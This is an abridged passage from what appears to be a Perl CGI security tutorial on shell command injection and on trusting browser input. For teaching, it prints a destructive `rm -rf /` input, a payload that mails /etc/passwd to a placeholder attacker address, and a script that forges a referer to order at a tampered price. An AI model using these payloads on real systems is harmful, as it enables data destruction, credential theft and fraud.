8.2.1. Calling External Applications

We then print our content type, followed by the figlet output. Perl lets us do this on one line: the while loop reads a line from PIPE, stores it in $_, and calls print; when print is called without an argument, it will output the value stored in $_; the loop automatically terminates when all the data has been read from figlet.

Admittedly, our example is somewhat dull. figlet has many options for changing the font, etc., but we want to keep our example short and simple to be able to focus on the security issues. Many people assume that it's hard for something to go wrong with scripts this simple. In fact, this CGI script allows a savvy user to execute any command on your system!

Before reading further, see if you can figure out how this example is insecure. Remember that your commands are executed with the same permissions that your web server runs as (e.g., nobody). If you want to test it on a web server, then only do so on a private web server that is not attached to the Internet! Finally, try to figure out how to fix this security problem.

The reason why we suggest that you try to find the solution yourself is that there are many possible solutions that appear secure but are not. Before we look at the solutions, let's analyze the problem. It should have been pretty obvious (if only from the comments in the code), that the culprit is the call that opens a pipe to figlet. Why is this insecure? Well, it isn't if the user does in fact pass simple words without punctuation. But if you assume this then you would be forgetting our rule: never trust any data from the user.

8.2.2. User Input and the Shell

`rm -rf /`

or:

"; mail cracker@badguys.net </etc/passwd"

These commands would execute as if the following commands had been entered into a shell:

$ /usr/local/bin/figlet "`rm -rf /`"
$ /usr/local/bin/figlet ""; mail cracker@badguys.net </etc/passwd

We could change the code as follows:

my $q      = new CGI;
my $string = $q->param( "string" );
unless ( $string ) {
    error( $q, "Please enter some text to display." );
}

## This is an incomplete example; this is NOT a secure check
if ( $string =~ /[`\$\\"';& ...  ] ) {
    error( $q,
        "Your text may not include these characters: `\$\\\"';& ..." );
}

This example is not complete, and we will not provide a full list of dangerous characters here. We won't create such a list because we do not trust that we will not miss something important, and that is why this is the wrong way to go about solving the problem. This solution requires you to know every possible way that the shell can execute a dangerous command. If you miss just one thing, you can be compromised.

8.2.3. Security Strategies

The final reason why this is the safer way to go is that security solutions should be simple. It's never a good idea to simply trust someone else who provides you a "definitive" list of something as important as dangerous shell characters to check against. You are the one who is accountable for your code, so you should fully understand why and how your code works, and not place blind faith in others.

8.2.4. fork and exec

## Ahh, much safer
my $pid = open PIPE, "-|";
die "Cannot fork $!" unless defined $pid;

unless ( $pid ) {
    exec FIGLET, $string or die "Cannot open pipe to figlet: $!";
}

8.2.5. Trusting the Browser

https://localhost/cgi/buy.cgi?price=30.00&
name=Super+Blaster+3000&quantity=1&submit=Order

By modifying this URL, it is possible to change the price to anything and call the CGI script with this new value.

my $server = quotemeta( $ENV{HTTP_HOST} || $ENV{SERVER_NAME} );
unless ( $ENV{HTTP_REFERER} =~ m|^https?://$server/| ) {
    error( $q, "Invalid referring URL." );
}

#!/usr/bin/perl -w

use strict;

use LWP::UserAgent;
use HTTP::Request;
use HTTP::Headers;
use CGI;

my $q = new CGI( {
    price    => 0.01,
    name     => "Super Blaster 3000",
    quantity => 1,
    submit   => "Order",
} );

my $form_data = $q->query_string;

my $headers = new HTTP::Headers(
    Accept       => "text/html, text/plain, image/*",
    Referer      => "http://localhost/products/sb3000.html",
    Content_Type => "application/x-www-form-urlencoded"
);

my $request = new HTTP::Request(
    "POST",
    "http://localhost/cgi/feedback.cgi",
    $headers
);

$request->content( $form_data );

my $agent = new LWP::UserAgent;
$agent->agent( "Mozilla/4.5" );
my $response = $agent->request( $request );

print $response->content;